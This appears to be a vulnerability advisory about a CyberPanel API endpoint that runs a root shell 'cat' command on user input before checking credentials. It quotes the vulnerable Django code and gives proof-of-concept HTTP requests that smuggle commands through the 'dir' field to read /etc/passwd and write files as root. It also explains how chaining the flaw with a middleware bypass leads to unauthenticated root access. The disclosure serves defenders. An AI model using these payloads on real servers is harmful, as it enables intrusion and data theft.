[7] CyberPanel - Broken Authentication and Local File Inclusion (LFI) in '/api/FetchRemoteTransferStatus' endpoint
In CyberPanel versions between 1.7 (possibly earlier) and 2.3.4, the FetchRemoteTransferStatus()
function used in ‘Remote Backups’ is missing sufficient authentication controls and is vulnerable to LFI.
OWASP Top 10 | A07:2021 - Identification and Authentication Failures |
---|---|
CWE ID | CWE-287 - Improper Authentication |
CVSS v4.0 Score | Medium (6.9) |
Vendor URLs |
https://cyberpanel.net/
https://github.com/usmannasir/cyberpanel |
Affected Versions | 1.7 - 2.3.4, fixed in v2.3.5 |
Adversaries with knowledge of the username of at least one administrative user with enabled API access can leverage this vulnerability to make unauthenticated HTTP POST calls to the /api/FetchRemoteTransferStatus
API endpoint. These unauthenticated calls can reach the execution of the cat
command in the FetchRemoteTransferStatus
view function and can allow for limited LFI attacks.
Injecting payloads such as testfolder /etc/passwd #
in the JSON dir
parameter will cause the cat
command to print the contents of the /etc/passwd
file, however this data is not returned in the HTTP response, unless the request is authenticated.
Attackers can also exploit this vulnerability to cause denial-of-service (DoS) by making multiple unauthenticated HTTP POST calls to include large local files in an attempt to exhaust the available system resources.
Combining this vulnerability with the Security Middleware Bypass, it is possible to gain root access on the underlying CyberPanel host. This attack approach is described below after the technical analysis.
Technical Analysis
Remote Backups (a.k.a. Remote Transfer), accessible through Main -> Back up -> Remote Back ups
, is a functionality that can be used by administrative users to import websites from a remote CyberPanel instance. Using the hostname or IP address and the ‘admin’ user’s password of the remote CyberPanel instance, administrators can list and transfer one or more of the available websites from the remote CyberPanel instance.
Once the remote transfer process has started, the remote CyberPanel instance will first make a local backup archive of the website(s). During this process, the local CyberPanel application will issue several HTTP POST requests to the ‘/backup/getRemoteTransferStatus’ endpoint to retrieve the backup and transfer progress from the remote CyberPanel instance. When remote backup is complete, the backup files are transferred locally and the websites are imported on the local CyberPanel instance.
The following code snippets highlight the implementation details of the /backup/getRemoteTransferStatus
endpoint. Initially, this endpoint handles HTTP calls using the getRemoteTransferStatus()
view function (line 51):
# File: backup/urls.py
...
File: backup/urls.py
04: urlpatterns = [
...
49: url(r'^remoteBackups', views.remoteBackups, name='remoteBackups'),
50: url(r'^submitRemoteBackups', views.submitRemoteBackups, name='submitRemoteBackups'),
51: url(r'^getRemoteTransferStatus', views.getRemoteTransferStatus, name='getRemoteTransferStatus'),
...
The BackupManager’s own getRemoteTransferStatus()
function is called, shown below on line 363:
# File: backup/views.py
...
9: from backup.backupManager import BackupManager
...
359: def getRemoteTransferStatus(request):
360: try:
361: userID = request.session['userID']
362: wm = BackupManager()
363: return wm.getRemoteTransferStatus(userID, json.loads(request.body))
364: except KeyError:
365: return redirect(loadLoginPage)
...
The getRemoteTransferStatus()
function of BackupManager
uses the provided information (lines 1220-1222) to retrieve the remote transfer status by making an HTTP POST request to the ‘/api/FetchRemoteTransferStatus’ API endpoint of the remote CyberPanel instance (lines 1225-1227).
The provided information includes the hostname or IP address, administrative password, and directory name where the backup logs backup_log
file is located on the remote CyberPanel instance:
# File: backup/backupManager.py
...
1213: def getRemoteTransferStatus(self, userID=None, data=None):
1214: try:
1215: currentACL = ACLManager.loadedACL(userID)
1216:
1217: if ACLManager.currentContextPermission(currentACL, 'remoteBackups') == 0:
1218: return ACLManager.loadErrorJson('remoteTransferStatus', 0)
1219:
1220: ipAddress = data['ipAddress']
1221: password = data['password']
1222: dir = data['dir']
1223: username = "admin"
1224:
1225: finalData = json.dumps({'dir': dir, "username": username, "password": password})
1226: r = requests.post("https://" + ipAddress + ":8090/api/FetchRemoteTransferStatus", data=finalData,
1227: verify=False)
1228:
1229: data = json.loads(r.text)
1230:
1231: if data['fetchStatus'] == 1:
1232: if data['status'].find("Backups are successfully generated and received on") > -1:
1233:
1234: data = {'remoteTransferStatus': 1, 'error_message': "None", "status": data['status'],
1235: 'backupsSent': 1}
1236: json_data = json.dumps(data)
1237: return HttpResponse(json_data)
...
The /api/FetchRemoteTransferStatus
API endpoint handles HTTP POST requests by calling the FetchRemoteTransferStatus()
view function (line 24):
# File: api/urls.py
01: from django.conf.urls import url
02: from . import views
03:
04: urlpatterns = [
...
24: url(r'^FetchRemoteTransferStatus', views.FetchRemoteTransferStatus, name='FetchRemoteTransferStatus'), # 7
...
The FetchRemoteTransferStatus()
view function, which in this case is executed in the context of the remote CyberPanel instance, starts by checking if API access is enabled for the provided administrative user (lines 519-524).
If API access is enabled, the Linux cat
utility is used to print the contents of the backup_log
file located in the directory path constructed using the user-supplied dir
paramater value (lines 526-530).
As a result, the contents of backup_log
file are printed on the ‘Remote Backups’ web page displaying the status of the remote backup and transfer process:
# File: api/views.py
...
511: @csrf_exempt
512: def FetchRemoteTransferStatus(request):
513: try:
514: if request.method == "POST":
515: data = json.loads(request.body)
516: username = data['username']
517: password = data['password']
518:
519: admin = Administrator.objects.get(userName=username)
520:
521: if admin.api == 0:
522: data_ret = {"fetchStatus": 0, 'error_message': "API Access Disabled."}
523: json_data = json.dumps(data_ret)
524: return HttpResponse(json_data)
525:
526: dir = "/home/backup/transfer-"+str(data['dir'])+"/backup_log"
527:
528: try:
529: command = f"cat {dir}"
530: status = ProcessUtilities.outputExecutioner(command)
531:
532: if hashPassword.check_password(admin.password, password):
533:
534: final_json = json.dumps({'fetchStatus': 1, 'error_message': "None", "status": status})
535: return HttpResponse(final_json)
536: else:
537: data_ret = {'fetchStatus': 0, 'error_message': "Invalid Credentials"}
538: json_data = json.dumps(data_ret)
539: return HttpResponse(json_data)
540: except:
541: final_json = json.dumps({'fetchStatus': 1, 'error_message': "None", "status": "Just started.."})
542: return HttpResponse(final_json)
...
Examination of the FetchRemoteTransferStatus()
view function implementation revealed that the authentication check is performed after the execution of the Linux cat
command (lines 532-535).
Specifically, regardless of whether the provided administrative user password is valid, the backend API will always execute the Linux cat
command using the user-provided input in the JSON dir
parameter.
As proof of concept, the following unauthenticated HTTP POST request attempts to directly call the /api/FetchRemoteTransferStatus
API endpoint to retrieve the remote transfer status using the testfolder
directory name:
POST /api/FetchRemoteTransferStatus HTTP/1.1
Host: cyberpanel:8090
Content-Length: 83
...
Content-Type: application/json
{
"username": "admin",
"password": "INVALID_PASSWORD",
"dir": "testfolder"
}
It should be noted that the username of any administrative user with enabled API access can be used in this attack. As a result, the backend API responds with the ‘Invalid Credentials’ error message since the provided password was invalid:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 58
Server: LiteSpeed
Connection: Keep-Alive
[...]
{
"fetchStatus": 0,
"error_message": "Invalid Credentials"
}
However, as shown below, the cat
command was executed successfully using the user-supplied testfolder
input:
$ ./pspy64
... 21:32:51 CMD: UID=0 PID=14057 | lscpd (CommSocket)
... 21:32:51 CMD: UID=0 PID=14056 | lscpd (CommSocket)
... 21:32:51 CMD: UID=0 PID=14058 | sh -c sudo cat /home/backup/transfer-testfolder/backup_log
... 21:32:51 CMD: UID=0 PID=14059 | sudo cat /home/backup/transfer-testfolder/backup_log
Something, something, unrestricted authenticated LFI
The following authenticated HTTP POST request attempts to directly call the /api/FetchRemoteTransferStatus
API endpoint to print the contents of the /etc/passwd
system file:
POST /api/FetchRemoteTransferStatus HTTP/1.1
Host: cyberpanel:8090
Content-Length: 97
...
Content-Type: application/json
{
"username": "admin",
"password": "1*****7",
"dir": "testfolder /etc/passwd #"
}
It should be noted that the username and password credentials of any administrative user with enabled API access can be used in this attack. In return, the backend API responds with the contents of the /etc/passwd
file:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 2689
Server: LiteSpeed
Connection: Keep-Alive
[...]
{
"fetchStatus": 1,
"error_message": "None",
"status": "cat: /home/backup/transfer-testfolder: No such file or directory\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin[...]redis:x:119:125::/var/lib/redis:/usr/sbin/nologin\n"
}
Combine, reverse backflip, and next thing you know you’re root
It is also possible to leverage the limited LFI, which in reality is a restricted command injection, to achieve full compromise of the underlying CyberPanel host. This can be achieved combining this issue with the vulnerability presented in Security Middleware Bypass.
In effect, with this combination, the following request becomes immune to the command injection checks:
POST /api/FetchRemoteTransferStatus?verifyLogin HTTP/1.1
Host: cyberpanel.local:8090
Content-Length: 114
Content-Type: application/json
{
"username": "admin",
"password": "INVALID_PASSWORD",
"dir": "testfolder; whoami > /tmp/test #"
}
This will inject another command that will print the user running the command and output that to the test
file in /tmp
. Et voila, of course it was running as root.
user@cyberpanel:~$ ls /tmp/
-rw-r--r-- 1 root lscpd 5 Jan 21 22:31 test
user@cyberpanel:~$ cat /tmp/test
root
This means that it is possible to go from unauthenticated to root with minimal attack complexity.
There are so many things wrong here, command injection, missing authentication and most importantly, running the whole thing with root privileges.
You might be wondering why this vulnerability hasn’t been rated as critical. Well, I could mark this as critical, but without the secondary issue that bypassed the command injection checks, this issue is very limited on itself. As a result, the presented score is against the bug in itself, without the other issues which can be combined to result in something more severe.